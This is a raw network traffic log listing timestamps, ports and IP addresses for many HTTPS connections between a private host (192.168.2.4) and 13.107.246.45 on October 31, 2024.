Oct 31, 2024 07:15:16.989161015 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.989240885 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.989332914 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.989491940 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.989531040 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.995176077 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.995196104 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.995225906 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.995254040 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.995285034 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.995440006 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.995440006 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.995446920 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.995454073 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.997397900 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.997416973 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.997483015 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.997628927 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.997648001 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.126405001 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.126945019 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.126974106 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.127413988 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.127422094 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.255757093 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.255798101 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.255841017 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.255907059 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.255945921 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.256165981 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.256184101 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.256223917 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.256232023 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.259028912 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.259116888 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.259223938 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.259378910 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.259402990 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.637938976 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.638371944 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.638406992 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.638802052 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.638808966 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.696055889 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.696515083 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.696533918 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.696928978 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.696934938 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.717998028 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.718012094 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.718513966 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.718529940 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.718574047 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.718626022 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.718967915 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.718975067 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.719042063 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.719057083 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.768723965 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.768764019 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.768805027 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.768851042 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.768876076 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.769067049 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.769090891 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.769104958 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.769112110 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.771857977 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.771882057 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.771955967 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.772108078 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.772114992 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.828236103 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.828289986 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.828361034 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.828373909 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.828411102 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.828464031 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.828552961 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.828568935 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.828581095 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.828587055 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.830637932 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.830679893 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.830750942 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.830885887 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.830902100 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.847342014 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.847392082 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.847444057 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.847543955 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.847544909 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.847575903 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.847606897 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.848997116 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.849128008 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.849237919 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.849272966 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.849281073 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.849292994 CET	49846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.849298000 CET	443	49846	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.849412918 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.849435091 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.849494934 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.849600077 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.849610090 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.851228952 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.851243019 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.851321936 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.851438999 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.851454020 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.990421057 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.990904093 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.990940094 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:17.991349936 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:17.991363049 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.121051073 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.121115923 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.121186018 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.121377945 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.121403933 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.121429920 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.121443987 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.124049902 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.124074936 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.124152899 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.124289036 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.124301910 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.516585112 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.517016888 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.517029047 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.517465115 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.517468929 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.567790985 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.568207026 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.568228006 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.568598032 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.568602085 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.575093985 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.575460911 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.575493097 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.575879097 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.575886965 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.584147930 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.584436893 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.584448099 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.584810972 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.584816933 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.647903919 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.647949934 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.648005962 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.648173094 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.648183107 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.648190975 CET	49848	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.648195028 CET	443	49848	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.650420904 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.650465965 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.650554895 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.650670052 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.650685072 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.697364092 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.697428942 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.697490931 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.697649002 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.697657108 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.697665930 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.697669983 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.700195074 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.700212955 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.700282097 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.700431108 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.700440884 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.708897114 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.709039927 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.709099054 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.709141016 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.709165096 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.709177017 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.709192038 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.710932970 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.710954905 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.711023092 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.711148977 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.711163044 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.712069035 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.712208033 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.712260962 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.712301016 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.712306976 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.712320089 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.712325096 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.714061975 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.714071989 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.714132071 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.714238882 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.714248896 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.859411001 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.859869003 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.859885931 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.860308886 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.860313892 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.990276098 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.990331888 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.990396976 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.990576982 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.990583897 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.990629911 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.990634918 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.993576050 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.993585110 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:18.993676901 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.993824959 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:18.993834019 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.427545071 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.428028107 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.428050041 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.428502083 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.428505898 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.448497057 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.448827028 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.448851109 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.449197054 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.449203014 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.472985029 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.473287106 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.473306894 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.473720074 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.473725080 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.556622982 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.556669950 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.556807041 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.557007074 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.557018042 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.557025909 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.557029963 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.559925079 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.559957981 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.560030937 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.560165882 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.560180902 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.578037977 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.578083038 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.578130007 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.578214884 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.578224897 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.578233004 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.578242064 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.580176115 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.580192089 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.580264091 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.580387115 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.580396891 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.606549025 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.606611967 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.606658936 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.606669903 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.606728077 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.606767893 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.606858969 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.606865883 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.606877089 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.606879950 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.608691931 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.608721018 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.608784914 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.608886957 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.608900070 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.726588011 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.727022886 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.727045059 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.727468967 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.727473974 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.857661963 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.857690096 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.857729912 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.857757092 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.857796907 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.857958078 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.857964039 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.857973099 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.857976913 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.860413074 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.860441923 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:19.860506058 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.860614061 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:19.860629082 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.286180019 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.288975954 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.288996935 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.289437056 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.289443016 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.324743986 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.334741116 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.334758997 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.335818052 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.335822105 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.358773947 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.359406948 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.359422922 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.360243082 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.360249996 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.399669886 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.400075912 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.400089025 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.400455952 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.400461912 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.416604042 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.416884899 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.416965961 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.416999102 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.417011976 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.417025089 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.417031050 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.419873953 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.419908047 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.419971943 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.420130968 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.420146942 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.464121103 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.464163065 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.464263916 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.464540958 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.464555025 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.464569092 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.464581013 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.467762947 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.467798948 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.467870951 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.468002081 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.468014956 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.491134882 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.491174936 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.491221905 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.491354942 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.491369009 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.491404057 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.491410017 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.493309021 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:20.493391037 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:20.493483067 CET	49864	443	192.168.2.4	13.107.246.45
